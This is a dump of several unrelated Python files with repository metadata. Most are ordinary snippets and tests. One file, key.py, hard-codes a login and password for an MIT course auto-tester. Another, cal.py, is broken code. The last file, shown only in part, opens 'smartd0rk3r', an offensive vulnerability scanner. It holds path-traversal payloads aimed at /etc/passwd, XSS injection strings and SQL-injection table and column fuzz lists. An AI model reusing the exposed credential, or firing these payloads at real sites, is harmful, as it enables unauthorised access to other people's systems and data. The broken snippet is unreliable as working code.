2018-07-11T08:47:12.000Z

Problem/PeopleFund/itertools_permutations().py

yeojin-dev/coding-test

30ce8507838beaa9232c6fc6c62a7dcb62d51464

[ "MIT" ]

null

Problem/PeopleFund/itertools_permutations().py

yeojin-dev/coding-test

30ce8507838beaa9232c6fc6c62a7dcb62d51464

[ "MIT" ]

null

from itertools import permutations string, number = input().split() print('\n'.join([''.join(i) for i in permutations(sorted(string), int(number))]))

30.2

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151

5.095238

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0.099338

151

4

82

37.75

0.786765

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0.013245

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1

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true

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0.333333

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null

0

1

0

null

0

1

0

1

0

4

109e10c4cf0d172e231d40adf248fc9d74957028

162

py

Python

Lab 2/key.py

lcchiang/Artificial-Intelligence-Course

0138b4d98f7fa15a56884af5e98b9cde9ad7ea69

[ "MIT" ]

null

Lab 2/key.py

lcchiang/Artificial-Intelligence-Course

0138b4d98f7fa15a56884af5e98b9cde9ad7ea69

[ "MIT" ]

null

Lab 2/key.py

lcchiang/Artificial-Intelligence-Course

0138b4d98f7fa15a56884af5e98b9cde9ad7ea69

[ "MIT" ]

null

# Login information for the 6.034 Automated Tester USERNAME="lcchiang_MIT_EDU" PASSWORD="yu7Q4nPJNRALMY3AJ6ze" XMLRPC_URL="https://ai6034.mit.edu/labs/xmlrpc/"

23.142857

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0.802469

22

162

5.772727

0.863636

0.094488

0

0.080537

0.080247

162

6

51

27

0.771812

0.296296

0

0.63964

0

1

0

false

0.333333

0

1

0

null

0

1

0

1

0

null

0

1

0

4

10b786bbe9d5cd3f8f17725b81cf10a118eefe4b

193

py

Python

app/app/cal.py

bigdave2058/recipe-app-api

2e4839570ed8aa74c4397dbdfda3b8c2e69e23ba

[ "MIT" ]

null

app/app/cal.py

bigdave2058/recipe-app-api

2e4839570ed8aa74c4397dbdfda3b8c2e69e23ba

[ "MIT" ]

null

app/app/cal.py

bigdave2058/recipe-app-api

2e4839570ed8aa74c4397dbdfda3b8c2e69e23ba

[ "MIT" ]

null

def addNumber(x,y) """Add two numbers"" return x + y def subtract(x,y) """ subtract two numbers """ return 0 def multiply(x,y) """ multiply two numbers """ return x,y

16.083333

32

0.580311

29

193

3.862069

0.37931

0.089286

0.428571

0.303571

0.321429

0

0.007143

0.274611

193

11

33

17.545455

0.792857

0

0.286822

0

null

0

null

0

1

0

null

0

1

0

null

0

1

0

4

52d413e4d83ba4fae12f2e30610d500ba02b969d

100

py

Python

GreyMatter/sleep.py

nayangupta824/Melissa-Web

cd669a60bf5642145904b6e7e2c4f3de2d4874c1

[ "MIT" ]

20

2015-12-09T13:14:25.000Z

2020-05-14T05:08:31.000Z

Using_Internet_to_Gather_Information/Using_Internet_to_Gather_Information/Melissa-Core/GreyMatter/sleep.py

Abhidalakoti/Project1

e7b6bae3cb96f543d04d33cdb5015b2698af283e

[ "MIT" ]

1

2016-07-17T06:30:02.000Z

Using_Internet_to_Gather_Information/Using_Internet_to_Gather_Information/Melissa-Core/GreyMatter/sleep.py

Abhidalakoti/Project1

e7b6bae3cb96f543d04d33cdb5015b2698af283e

[ "MIT" ]

24

2015-12-16T13:15:32.000Z

2021-02-21T17:29:44.000Z

from SenseCells.tts import tts def go_to_sleep(): tts('Goodbye! Have a great day!') quit()

16.666667

37

0.67

16

100

4.0625

0.875

0

0.21

100

5

38

20

0.822785

0

0.26

0

1

0.25

true

0

0.25

0

0.5

0

1

0

null

0

1

0

null

0

1

0

4

52fa358681eab5d6341acbef8c09053cd44b7948

83

py

Python

opac/apps.py

rimphyd/Django-OPAC

d86f2e28fee7f2ec551aeeb98ec67caefc06a3fb

[ "MIT" ]

1

2020-11-26T05:25:46.000Z

opac/apps.py

rimphyd/Django-OPAC

d86f2e28fee7f2ec551aeeb98ec67caefc06a3fb

[ "MIT" ]

null

opac/apps.py

rimphyd/Django-OPAC

d86f2e28fee7f2ec551aeeb98ec67caefc06a3fb

[ "MIT" ]

null

from django.apps import AppConfig class OpacConfig(AppConfig): name = 'opac'

13.833333

33

0.73494

10

83

6.1

0.9

0

0.180723

83

5

34

16.6

0.897059

0

0.048193

0

1

0

false

0

0.333333

0

1

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1

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null

0

1

0

null

0

1

0

1

0

4

5e05143bf2f99e7842168d268bedbaa9ed718c62

142

py

Python

examples/performance/__main__.py

gujun4990/sqlalchemy

057bae2295feb86529a04f09cd2f3d4c2c6d88a8

[ "MIT" ]

1

2018-04-02T18:41:52.000Z

examples/performance/__main__.py

gujun4990/sqlalchemy

057bae2295feb86529a04f09cd2f3d4c2c6d88a8

[ "MIT" ]

null

examples/performance/__main__.py

gujun4990/sqlalchemy

057bae2295feb86529a04f09cd2f3d4c2c6d88a8

[ "MIT" ]

3

2017-09-26T13:59:24.000Z

2020-12-04T17:51:54.000Z

"""Allows the examples/performance package to be run as a script.""" from . import Profiler if __name__ == '__main__': Profiler.main()

17.75

68

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19

142

4.789474

0.894737

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0.183099

142

7

69

20.285714

0.784483

0.43662

0

0.109589

0

1

0

true

0

0.333333

0

0.333333

0

1

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null

0

1

0

null

0

1

0

1

0

4

5e1ae1e1f4b7771a8d516e544c80df43463b2e5c

141

py

Python

riskrate_data/__init__.py

riskrate/riskrate-data-python

d98257661daa98156c3e3aeeead30a4585f1a22b

[ "MIT" ]

null

riskrate_data/__init__.py

riskrate/riskrate-data-python

d98257661daa98156c3e3aeeead30a4585f1a22b

[ "MIT" ]

null

riskrate_data/__init__.py

riskrate/riskrate-data-python

d98257661daa98156c3e3aeeead30a4585f1a22b

[ "MIT" ]

null

from .connection import DataClient from .helper import ( simple_query, simple_query_dict, simple_mutation, insert_chunked, )

17.625

34

0.737589

16

141

6.1875

0.6875

0.222222

0

0.205674

141

7

35

20.142857

0.883929

0

1

0

true

0

0.285714

0

0.285714

0

1

0

null

1

0

1

0

null

0

1

0

4

5e2815cca75744be4e2f16b61cc2ad6a3a1cd213

132

py

Python

autocomplete_light/example_apps/unuseable_virtualfield/models.py

metzlar/django-autocomplete-light

64f5d584bee35bf6e6ac612756cff713867ddc75

[ "MIT" ]

1

2015-10-12T21:42:05.000Z

autocomplete_light/example_apps/unuseable_virtualfield/models.py

metzlar/django-autocomplete-light

64f5d584bee35bf6e6ac612756cff713867ddc75

[ "MIT" ]

null

autocomplete_light/example_apps/unuseable_virtualfield/models.py

metzlar/django-autocomplete-light

64f5d584bee35bf6e6ac612756cff713867ddc75

[ "MIT" ]

null

from django.db import models from vote.managers import VotableManager class HasVotes(models.Model): votes = VotableManager()

16.5

40

0.780303

16

132

6.4375

0.75

0

0.151515

132

7

41

18.857143

0.919643

0

1

0

false

0

0.5

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

4

5e3848d5c6a8e766beb25b2a8dfb16721e430525

7,293

py

Python

tests/application_tests.py

dhdemerson/azure-lightning-flask

1b9fc3dad3f2c75219f45e7e6cce387a1cc6e157

[ "MIT" ]

null

tests/application_tests.py

dhdemerson/azure-lightning-flask

1b9fc3dad3f2c75219f45e7e6cce387a1cc6e157

[ "MIT" ]

1

2018-03-12T15:20:03.000Z

tests/application_tests.py

dhdemerson/azure-lightning-flask

1b9fc3dad3f2c75219f45e7e6cce387a1cc6e157

[ "MIT" ]

null

"""Tests for the azure_lightning_flask application""" import unittest from mock import patch from azure.common import AzureMissingResourceHttpError from azure_lightning_flask.application import create_app from tests.test_config import TestConfig class TestApplication(unittest.TestCase): """Tests for the azure_lightning_flask application""" class ContentRowResponse(object): # pylint: disable=too-few-public-methods """Simulated content response from Azure Table""" content = '<html></html>' class ActiveRowResponse(object): # pylint: disable=too-few-public-methods """Simulated active row response indicating active revision""" content = '{0}:ActiveRevision'.format(TestConfig.APP_NAME) def setUp(self): self.active_row_reponse = self.ActiveRowResponse() self.content_row_response = self.ContentRowResponse() self.default_revision_responses = iter([ self.ActiveRowResponse(), self.ContentRowResponse() ]) self.app = create_app(TestConfig) self.client = self.app.test_client() @patch('azure_lightning_flask.helpers.TableService.get_entity') def test_root_valid_revision(self, mock_get_entity): """Test the application returns the revision specified""" mock_get_entity.return_value = self.content_row_response revision = 'TestRevision' url = '/?{0}={1}'.format(TestConfig.REVISION_PARAMETER, revision) response = self.client.get(url) row_key = '{0}:{1}'.format(TestConfig.APP_NAME, revision) mock_get_entity.assert_called_once_with( TestConfig.AZURE_STORAGE_TABLE, TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY, row_key ) self.assertEqual(response.data, self.content_row_response.content) self.assertEqual(response.status_code, 200) @patch('azure_lightning_flask.helpers.TableService.get_entity') def test_root_default_revision(self, mock_get_entity): """Test the application returns the active revision when no revision is specified""" mock_get_entity.side_effect = self.default_revision_responses url = '/' response = self.client.get(url) active_row_key = '{0}:current'.format(TestConfig.APP_NAME) mock_get_entity.assert_any_call( TestConfig.AZURE_STORAGE_TABLE, TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY, active_row_key ) mock_get_entity.assert_any_call( TestConfig.AZURE_STORAGE_TABLE, TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY, self.active_row_reponse.content ) self.assertEqual(mock_get_entity.call_count, 2) self.assertEqual(response.data, self.content_row_response.content) self.assertEqual(response.status_code, 200) @patch('azure_lightning_flask.helpers.TableService.get_entity') def test_root_invalid_revision(self, mock_get_entity): """Test the application returns a 404 response when a specified revision can't be found""" mock_get_entity.side_effect = AzureMissingResourceHttpError("Not Found", 404) url = '/?{0}=InvalidRevsion'.format(TestConfig.REVISION_PARAMETER) response = self.client.get(url) self.assertEqual(response.status_code, 404) @patch('azure_lightning_flask.helpers.TableService.get_entity') def test_root_empty_revision(self, mock_get_entity): """Test that an empty/blank but specified revision returns the active revision""" mock_get_entity.side_effect = self.default_revision_responses url = '/?{0}='.format(TestConfig.REVISION_PARAMETER) response = self.client.get(url) active_row_key = '{0}:current'.format(TestConfig.APP_NAME) mock_get_entity.assert_any_call( TestConfig.AZURE_STORAGE_TABLE, TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY, active_row_key ) mock_get_entity.assert_any_call( TestConfig.AZURE_STORAGE_TABLE, TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY, self.active_row_reponse.content ) self.assertEqual(mock_get_entity.call_count, 2) self.assertEqual(response.data, self.content_row_response.content) self.assertEqual(response.status_code, 200) @patch('azure_lightning_flask.helpers.TableService.get_entity') def test_nonroot_default_revision(self, mock_get_entity): """Test the application handles and responds correctly to arbitrary paths""" mock_get_entity.side_effect = self.default_revision_responses url = '/directory/much/deep/wow' response = self.client.get(url) active_row_key = '{0}:current'.format(TestConfig.APP_NAME) mock_get_entity.assert_any_call( TestConfig.AZURE_STORAGE_TABLE, TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY, active_row_key ) mock_get_entity.assert_any_call( TestConfig.AZURE_STORAGE_TABLE, TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY, self.active_row_reponse.content ) self.assertEqual(mock_get_entity.call_count, 2) self.assertEqual(response.data, self.content_row_response.content) self.assertEqual(response.status_code, 200) @patch('azure_lightning_flask.helpers.TableService.get_entity') def test_revision_with_additional_parameters(self, mock_get_entity): # pylint: disable=C0103 """Test the application returns a requested revision even among other query parameters""" mock_get_entity.return_value = self.content_row_response revision = 'TestRevision' url = '/?index_key=123&{0}={1}&revision=456'.format( TestConfig.REVISION_PARAMETER, revision ) response = self.client.get(url) row_key = '{0}:{1}'.format(TestConfig.APP_NAME, revision) mock_get_entity.assert_called_once_with( TestConfig.AZURE_STORAGE_TABLE, TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY, row_key ) self.assertEqual(response.data, self.content_row_response.content) self.assertEqual(response.status_code, 200) @patch('azure_lightning_flask.helpers.TableService.get_entity') def test_default_with_parameters(self, mock_get_entity): """Test that the application ignores query parameters that are not requesting a revision""" mock_get_entity.side_effect = self.default_revision_responses url = '/?index_key=123&&revision=456' response = self.client.get(url) active_row_key = '{0}:current'.format(TestConfig.APP_NAME) mock_get_entity.assert_any_call( TestConfig.AZURE_STORAGE_TABLE, TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY, active_row_key ) mock_get_entity.assert_any_call( TestConfig.AZURE_STORAGE_TABLE, TestConfig.AZURE_STORAGE_TABLE_PARTITION_KEY, self.active_row_reponse.content ) self.assertEqual(mock_get_entity.call_count, 2) self.assertEqual(response.data, self.content_row_response.content) self.assertEqual(response.status_code, 200)

42.9

99

0.702043

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7,293

5.687427

0.150411

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0.11157

0.780992

0.747521

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0.718595

0.699174

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7,293

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42.9

0.832549

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0.636364

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0.204545

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false

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0.037879

0

0.121212

0

null

0

1

0

1

0

null

0

4

eab5f3b333442f9470fdabe1ae9131b6170b9d50

305

py

Python

models.py

Pycomet/music-bot

5a1d461bd29c38ac47fa5a1433427027c36fb9f2

[ "MIT" ]

null

models.py

Pycomet/music-bot

5a1d461bd29c38ac47fa5a1433427027c36fb9f2

[ "MIT" ]

null

models.py

Pycomet/music-bot

5a1d461bd29c38ac47fa5a1433427027c36fb9f2

[ "MIT" ]

null

from dataclasses import dataclass @dataclass class User: id: int name: str = "" @dataclass class Order: product: str price: float price: float description: str url: str data: str @dataclass class Product: name: str price: float description: str url: str

13.26087

33

0.636066

37

305

5.243243

0.459459

0.216495

0.175258

0.247423

0.309278

0

0.295082

305

22

34

13.863636

0.902326

0

0.526316

0

1

0

true

0

0.052632

0

0.842105

0

null

1

0

1

0

null

0

1

0

1

0

4

eabf9506748ef34e5453412674f65abfb0cce65f

345

py

Python

spexxy/data/__init__.py

thusser/spexxy

14a8d121076b9e043bdf2e27222a65088f771ff9

[ "MIT" ]

4

2019-05-13T21:36:31.000Z

2021-09-06T01:56:36.000Z

spexxy/data/__init__.py

thusser/spexxy

14a8d121076b9e043bdf2e27222a65088f771ff9

[ "MIT" ]

2

2020-02-12T14:36:39.000Z

2020-07-14T11:43:10.000Z

spexxy/data/__init__.py

thusser/spexxy

14a8d121076b9e043bdf2e27222a65088f771ff9

[ "MIT" ]

1

2019-11-08T09:26:23.000Z

from .filter import Filter from .fitsspectrum import FitsSpectrum from .isochrone import Isochrone, MultiIsochrone from .losvd import LOSVD from .lsf import LSF, AnalyticalLSF, EmpiricalLSF from .resultsfits import ResultsFITS from .spectrum import Spectrum, SpectrumFits, SpectrumFitsHDU, SpectrumBinTableFITS, SpectrumHiResFITS, SpectrumAscii

43.125

117

0.852174

36

345

8.166667

0.472222

0

0.104348

345

7

118

49.285714

0.951456

0

1

0

true

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

4

d815f0fa1a0a2eacba24cf6df5a42d871994d842

225

py

Python

PE010.py

CaptainSora/Python-Project-Euler

056400f434eec837ece5ef06653b310ebfcc3d4e

[ "MIT" ]

null

PE010.py

CaptainSora/Python-Project-Euler

056400f434eec837ece5ef06653b310ebfcc3d4e

[ "MIT" ]

null

PE010.py

CaptainSora/Python-Project-Euler

056400f434eec837ece5ef06653b310ebfcc3d4e

[ "MIT" ]

null

from _prime_tools import sieve def summation_of_primes(ceiling): """ Returns the sum of all primes below ceiling. """ return sum(sieve(ceiling)) def solve(vol=0): return summation_of_primes(2 * 10**6)

17.307692

48

0.684444

33

225

4.484848

0.666667

0.148649

0.22973

0

0.028249

0.213333

225

12

49

18.75

0.80791

0.195556

0

1

0.4

false

0

0.2

1

0

null

0

1

0

null

0

1

0

1

0

4

d8309a7b87f1598ce047dcc66436dcd07a6d9334

955

py

Python

dashboard/migrations/0029_auto_20210818_0515.py

zidandff/primaseru

a14fa7326098af220e0671c3bf3870b4016ab4bf

[ "MIT" ]

null

dashboard/migrations/0029_auto_20210818_0515.py

zidandff/primaseru

a14fa7326098af220e0671c3bf3870b4016ab4bf

[ "MIT" ]

null

dashboard/migrations/0029_auto_20210818_0515.py

zidandff/primaseru

a14fa7326098af220e0671c3bf3870b4016ab4bf

[ "MIT" ]

2

2021-08-10T09:09:58.000Z

2021-08-10T10:54:51.000Z

# Generated by Django 3.2.5 on 2021-08-18 05:15 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('dashboard', '0028_alter_participantrepayment_payment_1'), ] operations = [ migrations.AddField( model_name='participantrepayment', name='pay_mount_1', field=models.CharField(blank=True, max_length=100, null=True, verbose_name='Nominal Pembayaran Ke 1'), ), migrations.AddField( model_name='participantrepayment', name='pay_mount_2', field=models.CharField(blank=True, max_length=100, null=True, verbose_name='Nominal Pembayaran Ke 2'), ), migrations.AddField( model_name='participantrepayment', name='pay_mount_3', field=models.CharField(blank=True, max_length=100, null=True, verbose_name='Nominal Pembayaran Ke 3'), ), ]

32.931034

114

0.636649

105

955

5.609524

0.419048

0.091681

0.117148

0.137521

0.702886

0.402377

0

0.049157

0.25445

955

28

115

34.107143

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0.181818

0

null

0

1

0

1

0

null

0

4

dc41601ab381b12d423ec05c415d61350e7987cf

470

py

Python

src/plugins_/cfdocs/__init__.py

jcberquist/sublimetext-cfml

d1e37202eacbf4dd048f2822b7b9d9a93e8cebcf

[ "MIT" ]

130

2016-01-01T18:44:21.000Z

2022-03-22T22:42:11.000Z

src/plugins_/cfdocs/__init__.py

jcberquist/sublimetext-cfml

d1e37202eacbf4dd048f2822b7b9d9a93e8cebcf

[ "MIT" ]

139

2016-01-07T16:12:35.000Z

2021-12-11T03:50:57.000Z

src/plugins_/cfdocs/__init__.py

jcberquist/sublimetext-cfml

d1e37202eacbf4dd048f2822b7b9d9a93e8cebcf

[ "MIT" ]

28

2016-01-27T23:03:36.000Z

2021-12-14T15:18:12.000Z

from .. import plugin from .cfdocs import ( get_inline_documentation, get_completion_docs, get_goto_cfml_file ) class CFMLPlugin(plugin.CFMLPlugin): def get_completion_docs(self, cfml_view): return get_completion_docs(cfml_view) def get_inline_documentation(self, cfml_view, doc_type): return get_inline_documentation(cfml_view, doc_type) def get_goto_cfml_file(self, cfml_view): return get_goto_cfml_file(cfml_view)

24.736842

60

0.755319

65

470

5.015385

0.307692

0.147239

0.202454

0.138037

0.128834

0

0.178723

470

18

61

26.111111

0.84456

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1

0.230769

false

0

0.153846

0.230769

0.692308

0

null

0

1

0

null

0

1

0

1

0

4

dc50df24d0735b5e1db2956cd9adf6d347069c26

196

py

Python

onfido/urls.py

snicks1/django-onfido

7288552c6a156d022539d4d22d7f5a0236018ada

[ "MIT" ]

null

onfido/urls.py

snicks1/django-onfido

7288552c6a156d022539d4d22d7f5a0236018ada

[ "MIT" ]

null

onfido/urls.py

snicks1/django-onfido

7288552c6a156d022539d4d22d7f5a0236018ada

[ "MIT" ]

null

# -*- coding: utf-8 -*- """onfido urls.""" from django.conf.urls import url from onfido.views import status_update urlpatterns = [ url(r'^webhook/$', status_update, name='status_update'), ]

19.6

60

0.678571

26

196

5

0.653846

0.276923

0

0.005952

0.142857

196

9

61

21.777778

0.767857

0.178571

0

0.148387

0

1

0

false

0

0.4

0

0.4

0

1

0

null

1

0

1

0

null

0

1

0

4

dc618bed337cd8cd05718408047b500788303816

259

py

Python

utils/validation.py

Weenkus/on_power_efficient_virtual_network_function_placement_algorithm

09621bd083ff13afdfb76a6629478cb16e6c8a9c

[ "MIT" ]

1

2019-12-09T17:52:05.000Z

utils/validation.py

Weenkus/on_power_efficient_virtual_network_function_placement_algorithm

09621bd083ff13afdfb76a6629478cb16e6c8a9c

[ "MIT" ]

null

utils/validation.py

Weenkus/on_power_efficient_virtual_network_function_placement_algorithm

09621bd083ff13afdfb76a6629478cb16e6c8a9c

[ "MIT" ]

null

class Assert(object): @staticmethod def is_instance(instance, instances_class): assert isinstance(instance, instances_class), '{0} should be an instance of class {1}'.format( instance.__name__, instances_class.__name__ )

28.777778

102

0.683398

29

259

5.689655

0.586207

0.254545

0.266667

0

0.00995

0.223938

259

8

103

32.375

0.810945

0

0.147287

0

0.333333

1

0.166667

false

0

0.333333

0

1

0

null

1

0

1

0

null

0

4

dc84da74c859794cbc04f5d7aa3e4632d27aed37

98,491

py

Python

smartd0rk3r-0.3.py

devasia2112/os-scripts

d7e7c09afc7b30355b242bdd7c5f40bd30af1a9a

[ "MIT", "CC-BY-3.0", "BSD-3-Clause" ]

1

2020-03-01T15:36:17.000Z

smartd0rk3r-0.3.py

bantu07/kali-script

839d7d2cc1935d50c7bb784b1b5a4656fa90ea94

[ "MIT", "CC-BY-3.0", "BSD-3-Clause" ]

null

smartd0rk3r-0.3.py

bantu07/kali-script

839d7d2cc1935d50c7bb784b1b5a4656fa90ea94

[ "MIT", "CC-BY-3.0", "BSD-3-Clause" ]

2

2019-05-10T18:39:59.000Z

2021-05-15T08:55:50.000Z

#!/usr/bin/python # # smartd0rk3r.py - a modified darkd0rk3r # - added dork array # - added input for number of random dorks # - added bugfix for over tor (it crashed alot over tor) # - added optimization, 1 page with 0 results, skip to next dork # - added extra check for links to comply with target (makes it alot more target-specific) # put main instructions together, added 12 - new scan option # - added Column Finder # - added column and table fuzzer # # rewrite done by levi # Column Finder added by baltazar # Fuzzer added by baltazar # mad propz to the original author for making a nice script that was easily modified!!!! # # original header: # # This was written for educational purpose and pentest only. Use it at your own risk. # Author will be not responsible for any damage! # !!! Special greetz for my friend sinner_01 !!! # Toolname : darkd0rk3r.py # Coder : baltazar a.k.a b4ltazar < b4ltazar@gmail.com> # Version : 1.0 # greetz for all members of ex darkc0de.com, ljuska.org # import string, sys, time, urllib2, cookielib, re, random, threading, socket, os, subprocess from random import choice # Colours W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; # Banner def logo(): print R+"\n|---------------------------------------------------------------|" print "| smartd0rk3r.py - a modified darkd0rk3r.py |" print "| 10/2012 - v.0.3 |" print "| levi - l3v1athan@tormail.org |" print "| baltazar - b4ltazar@gmail.com |" print "| |" print "|---------------------------------------------------------------|\n" print W if sys.platform == 'linux' or sys.platform == 'linux2': subprocess.call("clear", shell=True) logo() else: subprocess.call("cls", shell=True) logo() log = "smartd0rk3r-sqli.txt" logfile = open(log, "a") lfi_log = "smartd0rk3r-lfi.txt" lfi_log_file = open(lfi_log, "a") rce_log = "smartd0rk3r-rce.txt" rce_log_file = open(rce_log, "a") xss_log = "smartd0rk3r-xss.txt" xss_log_file = open(xss_log, "a") arg_end = "--" arg_eva = "+" colMax = 10 # Change this at your will gets = 0 file = "/etc/passwd" threads = [] darkurl = [] vuln = [] col = [] timeout = 60 socket.setdefaulttimeout(timeout) lfis = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd"] xsses = ["<h1>XSS by baltazar</h1>","%3Ch1%3EXSS%20by%20baltazar%3C/h1%3E"] tables = ['user','users','tbladmins','Logins','logins','login','admins','members','member', '_wfspro_admin', '4images_users', 'a_admin', 'account', 'accounts', 'adm', 'admin', 'admin_login', 'admin_user', 'admin_userinfo', 'administer', 'administrable', 'administrate', 'administration', 'administrator', 'administrators', 'adminrights', 'admins', 'adminuser','adminusers','article_admin', 'articles', 'artikel','author', 'autore', 'backend', 'backend_users', 'backenduser', 'bbs', 'book', 'chat_config', 'chat_messages', 'chat_users', 'client', 'clients', 'clubconfig', 'company', 'config', 'contact', 'contacts', 'content', 'control', 'cpg_config', 'cpg132_users', 'customer', 'customers', 'customers_basket', 'dbadmins', 'dealer', 'dealers', 'diary', 'download', 'Dragon_users', 'e107.e107_user', 'e107_user', 'forum.ibf_members', 'fusion_user_groups', 'fusion_users', 'group', 'groups', 'ibf_admin_sessions', 'ibf_conf_settings', 'ibf_members', 'ibf_members_converge', 'ibf_sessions', 'icq', 'index', 'info', 'ipb.ibf_members', 'ipb_sessions', 'joomla_users', 'jos_blastchatc_users', 'jos_comprofiler_members', 'jos_contact_details', 'jos_joomblog_users', 'jos_messages_cfg', 'jos_moschat_users', 'jos_users', 'knews_lostpass', 'korisnici', 'kpro_adminlogs', 'kpro_user', 'links', 'login_admin', 'login_admins', 'login_user', 'login_users','logon', 'logs', 'lost_pass', 'lost_passwords', 'lostpass', 'lostpasswords', 'm_admin', 'main', 'mambo_session', 'mambo_users', 'manage', 'manager', 'mb_users','memberlist','minibbtable_users', 'mitglieder', 'mybb_users', 'mysql', 'name', 'names', 'news', 'news_lostpass', 'newsletter', 'nuke_users', 'obb_profiles', 'order', 'orders', 'parol', 'partner', 'partners', 'passes', 'password', 'passwords', 'perdorues', 'perdoruesit', 'phorum_session', 'phorum_user', 'phorum_users', 'phpads_clients', 'phpads_config', 'phpbb_users', 'phpBB2.forum_users', 'phpBB2.phpbb_users', 'phpmyadmin.pma_table_info', 'pma_table_info', 'poll_user', 'punbb_users', 'pwd', 'pwds', 'reg_user', 'reg_users', 'registered', 'reguser', 'regusers', 'session', 'sessions', 'settings', 'shop.cards', 'shop.orders', 'site_login', 'site_logins', 'sitelogin', 'sitelogins', 'sites', 'smallnuke_members', 'smf_members', 'SS_orders', 'statistics', 'superuser', 'sysadmin', 'sysadmins', 'system', 'sysuser', 'sysusers', 'table', 'tables', 'tb_admin', 'tb_administrator', 'tb_login', 'tb_member', 'tb_members', 'tb_user', 'tb_username', 'tb_usernames', 'tb_users', 'tbl', 'tbl_user', 'tbl_users', 'tbluser', 'tbl_clients', 'tbl_client', 'tblclients', 'tblclient', 'test', 'usebb_members','user_admin', 'user_info', 'user_list', 'user_login', 'user_logins', 'user_names', 'usercontrol', 'userinfo', 'userlist', 'userlogins', 'username', 'usernames', 'userrights','vb_user', 'vbulletin_session', 'vbulletin_user', 'voodoo_members', 'webadmin', 'webadmins', 'webmaster', 'webmasters', 'webuser', 'webusers','wp_users', 'x_admin', 'xar_roles', 'xoops_bannerclient', 'xoops_users', 'yabb_settings', 'yabbse_settings', 'Category', 'CategoryGroup', 'ChicksPass', 'dtproperties', 'JamPass', 'News', 'Passwords by usage count', 'PerfPassword', 'PerfPasswordAllSelected','pristup', 'SubCategory', 'tblRestrictedPasswords', 'Ticket System Acc Numbers', 'Total Members', 'UserPreferences', 'tblConfigs', 'tblLogBookAuthor', 'tblLogBookUser', 'tblMails', 'tblOrders', 'tblUser', 'cms_user', 'cms_users', 'cms_admin', 'cms_admins', 'user_name', 'jos_user', 'table_user', 'email', 'mail', 'bulletin', 'login_name', 'admuserinfo', 'userlistuser_list', 'SiteLogin', 'Site_Login', 'UserAdmin'] columns = ['user', 'username', 'password', 'passwd', 'pass', 'cc_number', 'id', 'email', 'emri', 'fjalekalimi', 'pwd', 'user_name', 'customers_email_address', 'customers_password', 'user_password', 'name', 'user_pass', 'admin_user', 'admin_password', 'admin_pass', 'usern', 'user_n', 'users', 'login', 'logins', 'login_user', 'login_admin', 'login_username', 'user_username', 'user_login', 'auid', 'apwd', 'adminid', 'admin_id', 'adminuser', 'adminuserid', 'admin_userid', 'adminusername', 'admin_username', 'adminname', 'admin_name', 'usr', 'usr_n', 'usrname', 'usr_name', 'usrpass', 'usr_pass', 'usrnam', 'nc', 'uid', 'userid', 'user_id', 'myusername', 'mail', 'emni', 'logohu', 'punonjes', 'kpro_user', 'wp_users', 'emniplote', 'perdoruesi', 'perdorimi', 'punetoret', 'logini', 'llogaria', 'fjalekalimin', 'kodi', 'emer', 'ime', 'korisnik', 'korisnici', 'user1', 'administrator', 'administrator_name', 'mem_login', 'login_password', 'login_pass', 'login_passwd', 'login_pwd', 'sifra', 'lozinka', 'psw', 'pass1word', 'pass_word', 'passw', 'pass_w', 'user_passwd', 'userpass', 'userpassword', 'userpwd', 'user_pwd', 'useradmin', 'user_admin', 'mypassword', 'passwrd', 'admin_pwd', 'admin_passwd', 'mem_password', 'memlogin', 'e_mail', 'usrn', 'u_name', 'uname', 'mempassword', 'mem_pass', 'mem_passwd', 'mem_pwd', 'p_word', 'pword', 'p_assword', 'myname', 'my_username', 'my_name', 'my_password', 'my_email', 'korisnicko', 'cvvnumber ', 'about', 'access', 'accnt', 'accnts', 'account', 'accounts', 'admin', 'adminemail', 'adminlogin', 'adminmail', 'admins', 'aid', 'aim', 'auth', 'authenticate', 'authentication', 'blog', 'cc_expires', 'cc_owner', 'cc_type', 'cfg', 'cid', 'clientname', 'clientpassword', 'clientusername', 'conf', 'config', 'contact', 'converge_pass_hash', 'converge_pass_salt', 'crack', 'customer', 'customers', 'cvvnumber', 'data', 'db_database_name', 'db_hostname', 'db_password', 'db_username', 'download', 'e-mail', 'emailaddress', 'full', 'gid', 'group', 'group_name', 'hash', 'hashsalt', 'homepage', 'icq', 'icq_number', 'id_group', 'id_member', 'images', 'index', 'ip_address', 'last_ip', 'last_login', 'lastname', 'log', 'login_name', 'login_pw', 'loginkey', 'loginout', 'logo', 'md5hash', 'member', 'member_id', 'member_login_key', 'member_name', 'memberid', 'membername', 'members', 'new', 'news', 'nick', 'number', 'nummer', 'pass_hash', 'passwordsalt', 'passwort', 'personal_key', 'phone', 'privacy', 'pw', 'pwrd', 'salt', 'search', 'secretanswer', 'secretquestion', 'serial', 'session_member_id', 'session_member_login_key', 'sesskey', 'setting', 'sid', 'spacer', 'status', 'store', 'store1', 'store2', 'store3', 'store4', 'table_prefix', 'temp_pass', 'temp_password', 'temppass', 'temppasword', 'text', 'un', 'user_email', 'user_icq', 'user_ip', 'user_level', 'user_passw', 'user_pw', 'user_pword', 'user_pwrd', 'user_un', 